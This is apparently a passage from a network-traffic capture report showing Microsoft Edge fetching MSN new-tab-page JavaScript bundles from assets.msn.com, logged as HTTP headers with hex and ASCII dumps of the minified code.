2024-04-23 21:02:23 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 63 6f 6d 6d 6f 6e 2d 73 65 74 74 69 6e 67 73 2d 65 64 67 65 6e 65 78 74 22 5d 2c 7b 39 39 35 31 33 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 72 28 74 29 2c 6e 2e 64 28 74 2c 7b 43 6f 6d 6d 6f 6e 53 65 74 74 69 6e 67 73 45 64 67 65 4e 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 61 7d 2c 43 6f 6d 6d 6f 6e 53 65 74 74 69 6e 67 73 45 64 67 65 4e 65 78 Data Ascii: 00006000(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["common-settings-edgenext"],{99513:function(e,t,n){"use strict";n.r(t),n.d(t,{CommonSettingsEdgeNext:function(){return la},CommonSettingsEdgeNex
2024-04-23 21:02:23 UTC	9395	IN	Data Raw: 78 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 20 30 73 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 7d 2e 73 65 74 74 69 6e 67 73 2d 62 6c 6f 63 6b 2d 74 69 74 6c 65 2d 64 65 63 6f 72 61 74 6f 72 7b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 38 70 78 7d 2e 73 65 74 74 69 6e 67 73 2d 62 6c 6f 63 6b 2d 63 6f 6e 74 65 6e 74 7b 70 61 64 64 69 6e 67 3a 30 70 78 20 31 36 70 78 7d 2e 6e 65 77 2d 73 65 74 74 69 6e 67 73 2d 62 6c 6f 63 6b 20 2e 73 65 74 74 69 6e 67 73 2d 62 6c 6f 63 6b 2d 63 6f Data Ascii: x;transition:all 0.2s ease-in-out 0s;font-size:14px;line-height:20px;font-weight:600;position:relative;user-select:none}.settings-block-title-decorator{margin-inline-start:8px}.settings-block-content{padding:0px 16px}.new-settings-block .settings-block-co
2024-04-23 21:02:23 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 6d 6f 74 65 64 4c 69 6e 6b 73 44 69 73 61 62 6c 65 64 7d 20 3a 74 69 74 6c 65 3d 24 7b 65 3d 3e 65 2e 73 74 72 69 6e 67 73 2e 70 72 6f 6d 6f 74 65 64 4c 69 6e 6b 73 7d 20 3a 74 6f 67 67 6c 65 4f 6e 54 65 78 74 3d 24 7b 65 3d 3e 65 2e 73 74 72 69 6e 67 73 2e 74 6f 67 67 6c 65 4f 6e 7d 20 3a 74 6f 67 67 6c 65 4f 66 66 54 65 78 74 3d 24 7b 65 3d 3e 65 2e 73 74 72 69 6e 67 73 2e 74 6f 67 67 6c 65 4f 66 66 7d 20 64 61 74 61 2d 74 3d 22 24 7b 28 65 2c 74 29 3d 3e 74 2e 70 61 72 65 6e 74 2e 70 72 6f 6d 6f 74 65 64 4c 69 6e 6b 73 54 6f 67 67 6c 65 4d 65 74 61 54 61 67 7d 22 20 64 61 74 61 2d 63 75 73 74 6f 6d 68 61 6e 64 6c 65 64 3d 22 74 72 75 65 22 20 40 63 68 61 6e 67 65 3d 24 7b 28 65 2c 74 29 3d 3e 65 2e 6f 6e 50 72 6f 6d 6f 74 Data Ascii: 00006000motedLinksDisabled} :title=${e=>e.strings.promotedLinks} :toggleOnText=${e=>e.strings.toggleOn} :toggleOffText=${e=>e.strings.toggleOff} data-t="${(e,t)=>t.parent.promotedLinksToggleMetaTag}" data-customhandled="true" @change=${(e,t)=>e.onPromot
2024-04-23 21:02:23 UTC	8204	IN	Data Raw: 74 74 69 6e 67 73 60 2c 74 65 6d 70 6c 61 74 65 3a 68 65 28 7b 63 6f 6e 74 65 6e 74 3a 43 74 7d 29 2c 73 74 79 6c 65 73 3a 42 74 7d 29 2c 44 74 3d 75 2e 64 79 60 3c 63 73 2d 74 6f 67 67 6c 65 2d 73 65 74 74 69 6e 67 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 2d 68 69 73 74 6f 72 79 2d 74 6f 67 67 6c 65 22 20 3a 63 68 65 63 6b 65 64 3d 24 7b 65 3d 3e 65 2e 73 65 61 72 63 68 48 69 73 74 6f 72 79 45 6e 61 62 6c 65 64 7d 20 3a 74 69 74 6c 65 3d 24 7b 65 3d 3e 65 2e 73 74 72 69 6e 67 73 2e 73 65 61 72 63 68 48 69 73 74 6f 72 79 7d 20 3a 74 6f 67 67 6c 65 4f 6e 54 65 78 74 3d 24 7b 65 3d 3e 65 2e 73 74 72 69 6e 67 73 2e 74 6f 67 67 6c 65 4f 6e 7d 20 3a 74 6f 67 67 6c 65 4f 66 66 54 65 78 74 3d 24 7b 65 3d 3e 65 2e 73 74 72 69 6e 67 73 2e 74 6f 67 67 6c 65 4f 66 Data Ascii: ttings`,template:he({content:Ct}),styles:Bt}),Dt=u.dy`<cs-toggle-setting class="search-history-toggle" :checked=${e=>e.searchHistoryEnabled} :title=${e=>e.strings.searchHistory} :toggleOnText=${e=>e.strings.toggleOn} :toggleOffText=${e=>e.strings.toggleOf
2024-04-23 21:02:23 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 6f 6c 6f 72 3a 24 7b 6c 6e 2e 51 7d 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 73 75 70 65 72 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 2e 61 70 70 4c 69 6e 6b 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 2e 66 6f 6f 74 65 72 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 35 70 78 3b 70 61 64 64 69 6e 67 3a 30 3b 63 6f 6c 6f 72 3a 24 7b 6c 6e 2e 51 7d 7d 2e 66 6f 6f 74 65 72 2d 73 65 70 2d 64 6f 74 2d 73 70 61 63 65 2d 2d 6c 65 66 74 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 7d 2e 66 6f 6f 74 65 72 2d 73 65 70 2d 64 6f 74 2d 73 70 61 63 65 2d 2d Data Ascii: 00004000olor:${ln.Q};display:inline;vertical-align:super;text-decoration:none}.appLink:hover{text-decoration:underline}.footer{line-height:inherit;font-size:25px;padding:0;color:${ln.Q}}.footer-sep-dot-space--left{margin-left:3px}.footer-sep-dot-space--
2024-04-23 21:02:23 UTC	12	IN	Data Raw: 3d 4d 65 2e 6a 47 2e 43 75 72 0d 0a Data Ascii: =Me.jG.Cur
2024-04-23 21:02:23 UTC	8823	IN	Data Raw: 30 30 30 30 32 32 36 42 0d 0a 72 65 6e 74 4d 61 72 6b 65 74 2c 64 3d 6e 2e 73 65 6c 65 63 74 65 64 51 75 69 63 6b 4c 69 6e 6b 73 44 69 73 70 6c 61 79 53 65 74 74 69 6e 67 3b 72 65 74 75 72 6e 7b 6e 65 77 4c 61 79 6f 75 74 53 65 74 74 69 6e 67 73 3a 65 2e 65 6e 61 62 6c 65 4e 65 77 4c 61 79 6f 75 74 53 65 74 74 69 6e 67 73 2c 74 69 74 6c 65 3a 74 2e 71 75 69 63 6b 4c 69 6e 6b 73 44 72 6f 70 44 6f 77 6e 7c 7c 22 51 75 69 63 6b 20 6c 69 6e 6b 73 22 2c 69 73 51 75 69 63 6b 4c 69 6e 6b 73 44 69 73 61 62 6c 65 64 42 79 50 6f 6c 69 63 79 3a 6e 2e 69 73 51 75 69 63 6b 4c 69 6e 6b 73 44 69 73 61 62 6c 65 64 42 79 50 6f 6c 69 63 79 2c 64 69 73 70 6c 61 79 51 75 69 63 6b 4c 69 6e 6b 73 44 72 6f 70 64 6f 77 6e 3a 6e 2e 64 69 73 70 6c 61 79 54 6f 70 53 69 74 65 44 72 Data Ascii: 0000226BrentMarket,d=n.selectedQuickLinksDisplaySetting;return{newLayoutSettings:e.enableNewLayoutSettings,title:t.quickLinksDropDown\|\|"Quick links",isQuickLinksDisabledByPolicy:n.isQuickLinksDisabledByPolicy,displayQuickLinksDropdown:n.displayTopSiteDr
2024-04-23 21:02:23 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 5d 3a 6d 69 2c 5b 62 6e 2e 62 61 63 6b 67 72 6f 75 6e 64 53 65 74 74 69 6e 67 73 5d 3a 5f 6e 2c 5b 62 6e 2e 6e 6f 74 69 66 69 63 61 74 69 6f 6e 53 65 74 74 69 6e 67 73 5d 3a 46 69 2c 5b 62 6e 2e 65 78 70 65 72 69 65 6e 63 65 53 65 74 74 69 6e 67 73 5d 3a 41 69 2c 5b 62 6e 2e 70 65 72 73 6f 6e 61 6c 69 7a 65 53 65 74 74 69 6e 67 73 5d 3a 4a 6e 2c 5b 62 6e 2e 74 68 65 6d 65 53 65 74 74 69 6e 67 73 5d 3a 48 69 2c 5b 62 6e 2e 6d 61 72 6b 65 74 53 65 74 74 69 6e 67 73 5d 3a 75 69 2c 5b 62 6e 2e 73 68 6f 77 53 65 74 74 69 6e 67 73 5d 3a 43 69 2c 5b 62 6e 2e 72 65 63 6f 6d 6d 65 6e 64 65 64 53 69 74 65 73 53 65 74 74 69 6e 67 73 5d 3a 77 69 2c 5b 62 6e 2e 73 65 61 72 63 68 42 6f 78 53 65 74 74 69 6e 67 73 5d 3a 78 69 2c 5b 62 6e 2e Data Ascii: 00004000]:mi,[bn.backgroundSettings]:_n,[bn.notificationSettings]:Fi,[bn.experienceSettings]:Ai,[bn.personalizeSettings]:Jn,[bn.themeSettings]:Hi,[bn.marketSettings]:ui,[bn.showSettings]:Ci,[bn.recommendedSitesSettings]:wi,[bn.searchBoxSettings]:xi,[bn.
2024-04-23 21:02:23 UTC	12	IN	Data Raw: 68 65 6d 65 53 65 74 74 69 6e 0d 0a Data Ascii: hemeSettin
2024-04-23 21:02:24 UTC	16169	IN	Data Raw: 30 30 30 30 33 46 31 44 0d 0a 67 73 29 2c 74 68 69 73 2e 63 6f 6e 66 69 67 2e 65 6e 61 62 6c 65 4e 6f 74 69 66 69 63 61 74 69 6f 6e 53 65 74 74 69 6e 67 26 26 28 74 68 69 73 2e 65 78 70 65 72 69 65 6e 63 65 53 65 6c 65 63 74 6f 72 4d 65 74 61 54 61 67 3d 74 68 69 73 2e 67 65 74 54 65 6c 65 6d 65 74 72 79 54 61 67 28 62 6e 2e 65 78 70 65 72 69 65 6e 63 65 53 65 74 74 69 6e 67 73 29 2c 74 68 69 73 2e 6e 6f 74 69 66 69 63 61 74 69 6f 6e 53 65 6c 65 63 74 6f 72 4d 65 74 61 54 61 67 3d 74 68 69 73 2e 67 65 74 54 65 6c 65 6d 65 74 72 79 54 61 67 28 62 6e 2e 6e 6f 74 69 66 69 63 61 74 69 6f 6e 53 65 74 74 69 6e 67 73 29 29 7d 67 65 74 54 65 6c 65 6d 65 74 72 79 54 61 67 28 65 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 51 2e 44 28 7b 6e 61 6d 65 3a 65 2c 74 79 70 65 Data Ascii: 00003F1Dgs),this.config.enableNotificationSetting&&(this.experienceSelectorMetaTag=this.getTelemetryTag(bn.experienceSettings),this.notificationSelectorMetaTag=this.getTelemetryTag(bn.notificationSettings))}getTelemetryTag(e){return new Q.D({name:e,type

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49861	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:23 UTC	503	OUT	GET /bundles/v1/edgeChromium/latest/codex-bing-chat.d4705abeab944b647de2.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:23 UTC	1154	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: 8zrcLsaBXNUWEPU+vZzntw== Last-Modified: Wed, 17 Apr 2024 19:30:49 GMT ETag: 0x8DC5F14E320C6DD Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 3205033d-e01e-0079-19fd-90ebad000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:23 GMT Content-Length: 10513 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402747183,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016f2f Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906143.18016f2f Vary: Origin
2024-04-23 21:02:23 UTC	10513	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 63 6f 64 65 78 2d 62 69 6e 67 2d 63 68 61 74 22 5d 2c 7b 37 36 39 39 38 3a 66 75 6e 63 74 69 6f 6e 28 6f 2c 65 2c 6e 29 7b 6e 2e 72 28 65 29 2c 6e 2e 64 28 65 2c 7b 43 6f 64 65 78 42 69 6e 67 43 68 61 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 79 7d 2c 43 6f 64 65 78 42 69 6e 67 43 68 61 74 53 74 79 6c 65 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 7d 2c 43 6f 64 65 78 42 69 6e 67 Data Ascii: "use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["codex-bing-chat"],{76998:function(o,e,n){n.r(e),n.d(e,{CodexBingChat:function(){return y},CodexBingChatStyles:function(){return _},CodexBing

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49862	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:23 UTC	639	OUT	GET /bundles/v1/edgeChromium/latest/super-coach-mark-wc.5ad8de935d24e6052658.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:23 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: n/D4WMBBu2NOV3JZMwjQXw== Last-Modified: Tue, 23 Apr 2024 19:32:48 GMT ETag: 0x8DC63CC28DF4022 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 18e07205-401e-0027-45b5-952a83000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:23 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402747217,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016f51 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906143.18016f51 Vary: Origin
2024-04-23 21:02:23 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 73 75 70 65 72 2d 63 6f 61 63 68 2d 6d 61 72 6b 2d 77 63 22 5d 2c 7b 39 31 36 34 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 69 29 7b 69 2e 72 28 65 29 2c 69 2e 64 28 65 2c 7b 53 75 70 65 72 43 6f 61 63 68 4d 61 72 6b 57 43 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 24 7d 2c 53 75 70 65 72 43 6f 61 63 68 4d 61 72 6b 57 43 53 74 79 6c 65 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b Data Ascii: 00006000"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["super-coach-mark-wc"],{9164:function(t,e,i){i.r(e),i.d(e,{SuperCoachMarkWC:function(){return $},SuperCoachMarkWCStyles:function(){
2024-04-23 21:02:23 UTC	9395	IN	Data Raw: 50 6f 70 75 6c 61 74 65 64 28 29 7b 74 68 69 73 2e 6d 61 72 6b 56 69 73 75 61 6c 6c 79 52 65 61 64 79 52 61 66 28 29 2c 28 30 2c 4f 2e 46 59 29 28 42 2e 5f 2e 73 75 70 65 72 43 6f 61 63 68 4d 61 72 6b 2c 74 68 69 73 29 7d 64 69 73 63 6f 6e 6e 65 63 74 65 64 43 61 6c 6c 62 61 63 6b 28 29 7b 76 61 72 20 74 3b 73 75 70 65 72 2e 64 69 73 63 6f 6e 6e 65 63 74 65 64 43 61 6c 6c 62 61 63 6b 28 29 2c 74 68 69 73 2e 72 65 6d 6f 76 65 4c 69 73 74 65 6e 65 72 73 28 29 2c 6e 75 6c 6c 3d 3d 3d 28 74 3d 74 68 69 73 2e 6d 61 74 63 68 65 64 4d 65 64 69 61 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 7c 7c 74 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 68 61 6e 67 65 22 2c 74 68 69 73 2e 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 43 68 61 6e 67 65 48 Data Ascii: Populated(){this.markVisuallyReadyRaf(),(0,O.FY)(B._.superCoachMark,this)}disconnectedCallback(){var t;super.disconnectedCallback(),this.removeListeners(),null===(t=this.matchedMedia)\|\|void 0===t\|\|t.removeEventListener("change",this.backgroundColorChangeH
2024-04-23 21:02:23 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 74 3d 69 28 38 38 38 32 36 29 2c 6f 74 3d 69 28 37 35 31 32 30 29 3b 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 72 74 6c 3d 22 72 74 6c 22 2c 74 2e 6c 74 72 3d 22 6c 74 72 22 7d 28 74 74 7c 7c 28 74 74 3d 7b 7d 29 29 3b 6c 65 74 20 61 74 3d 63 6c 61 73 73 20 65 78 74 65 6e 64 73 20 4a 2e 48 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 73 75 70 65 72 28 2e 2e 2e 61 72 67 75 6d 65 6e 74 73 29 2c 74 68 69 73 2e 63 6f 6e 66 69 67 4d 61 72 6b 65 74 73 3d 5b 5d 2c 74 68 69 73 2e 6d 61 72 6b 65 74 53 65 6c 65 63 74 6f 72 50 72 6f 70 73 3d 7b 7d 2c 74 68 69 73 2e 61 63 63 65 70 74 4c 61 6e 67 75 61 67 65 43 68 61 6e 67 65 3d 61 73 79 6e 63 28 29 3d 3e 7b 76 61 72 20 74 3b 74 68 69 73 2e 63 68 61 6e 67 65 64 4d 61 72 6b 65 74 26 26 Data Ascii: 00006000t=i(88826),ot=i(75120);!function(t){t.rtl="rtl",t.ltr="ltr"}(tt\|\|(tt={}));let at=class extends J.H{constructor(){super(...arguments),this.configMarkets=[],this.marketSelectorProps={},this.acceptLanguageChange=async()=>{var t;this.changedMarket&&
2024-04-23 21:02:24 UTC	8204	IN	Data Raw: 63 68 4d 61 72 6b 4b 65 79 7d 67 65 74 20 69 74 65 6d 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 7d 67 65 74 20 72 65 67 69 73 74 72 61 6e 74 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 72 65 67 69 73 74 72 61 6e 74 7d 63 6f 6e 73 74 72 75 63 74 6f 72 28 74 2c 65 29 7b 74 68 69 73 2e 5f 63 6f 61 63 68 4d 61 72 6b 4b 65 79 3d 74 2c 74 68 69 73 2e 5f 72 65 67 69 73 74 72 61 6e 74 3d 65 7c 7c 22 74 61 72 67 65 74 45 6c 65 6d 65 6e 74 22 7d 72 65 67 69 73 74 65 72 49 74 65 6d 41 6e 63 68 6f 72 45 6c 65 6d 65 6e 74 28 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 75 70 64 61 74 65 28 7b 61 6e 63 68 6f 72 45 6c 65 6d 65 6e 74 3a 74 7d 29 7d 72 65 67 69 73 74 65 72 49 74 65 6d 54 72 69 67 67 65 72 4d 65 73 73 61 67 65 28 74 29 7b 72 65 74 Data Ascii: chMarkKey}get item(){return this._item}get registrant(){return this._registrant}constructor(t,e){this._coachMarkKey=t,this._registrant=e\|\|"targetElement"}registerItemAnchorElement(t){return this._update({anchorElement:t})}registerItemTriggerMessage(t){ret
2024-04-23 21:02:24 UTC	6619	IN	Data Raw: 30 30 30 30 31 39 43 46 0d 0a 72 6b 52 65 63 74 3d 69 2c 74 68 69 73 2e 72 6f 6f 74 52 65 63 74 3d 61 2c 74 68 69 73 2e 69 73 52 54 4c 3d 6e 3b 63 6f 6e 73 74 20 73 3d 72 28 74 2c 6e 29 3b 74 68 69 73 2e 61 6e 63 68 6f 72 50 6f 73 69 74 69 6f 6e 3d 73 2e 61 6e 63 68 6f 72 50 6f 73 69 74 69 6f 6e 2c 74 68 69 73 2e 70 6f 69 6e 74 65 72 50 6f 73 69 74 69 6f 6e 3d 73 2e 70 6f 69 6e 74 65 72 50 6f 73 69 74 69 6f 6e 7d 67 65 74 20 6d 69 6e 54 6f 70 4f 66 66 73 65 74 28 29 7b 72 65 74 75 72 6e 20 4d 61 74 68 2e 6d 61 78 28 74 68 69 73 2e 72 6f 6f 74 52 65 63 74 2e 74 6f 70 2c 30 29 7d 67 65 74 20 6d 61 78 54 6f 70 4f 66 66 73 65 74 28 29 7b 72 65 74 75 72 6e 20 4d 61 74 68 2e 6d 69 6e 28 74 68 69 73 2e 72 6f 6f 74 52 65 63 74 2e 62 6f 74 74 6f 6d 2c 77 69 6e 64 Data Ascii: 000019CFrkRect=i,this.rootRect=a,this.isRTL=n;const s=r(t,n);this.anchorPosition=s.anchorPosition,this.pointerPosition=s.pointerPosition}get minTopOffset(){return Math.max(this.rootRect.top,0)}get maxTopOffset(){return Math.min(this.rootRect.bottom,wind
2024-04-23 21:02:24 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49863	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:23 UTC	629	OUT	GET /bundles/v1/edgeChromium/latest/waffle-wc.74c10742f08f983c2805.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:23 UTC	1154	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: CNzFTIjfuISBo2tATSVduw== Last-Modified: Tue, 23 Apr 2024 19:32:45 GMT ETag: 0x8DC63CC26DE37E0 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: a51329eb-601e-0019-5cb5-95a98f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:23 GMT Content-Length: 29098 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402747248,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016f70 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906143.18016f70 Vary: Origin
2024-04-23 21:02:23 UTC	15230	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 77 61 66 66 6c 65 2d 77 63 22 5d 2c 7b 35 32 32 36 32 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 69 2e 72 28 74 29 2c 69 2e 64 28 74 2c 7b 41 70 70 49 63 6f 6e 4d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4b 7d 2c 54 6f 6f 6c 69 6e 67 49 6e 66 6f 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6b 65 7d 2c 57 61 66 66 6c 65 57 43 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 Data Ascii: (self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["waffle-wc"],{52262:function(e,t,i){"use strict";i.r(t),i.d(t,{AppIconMap:function(){return K},ToolingInfo:function(){return 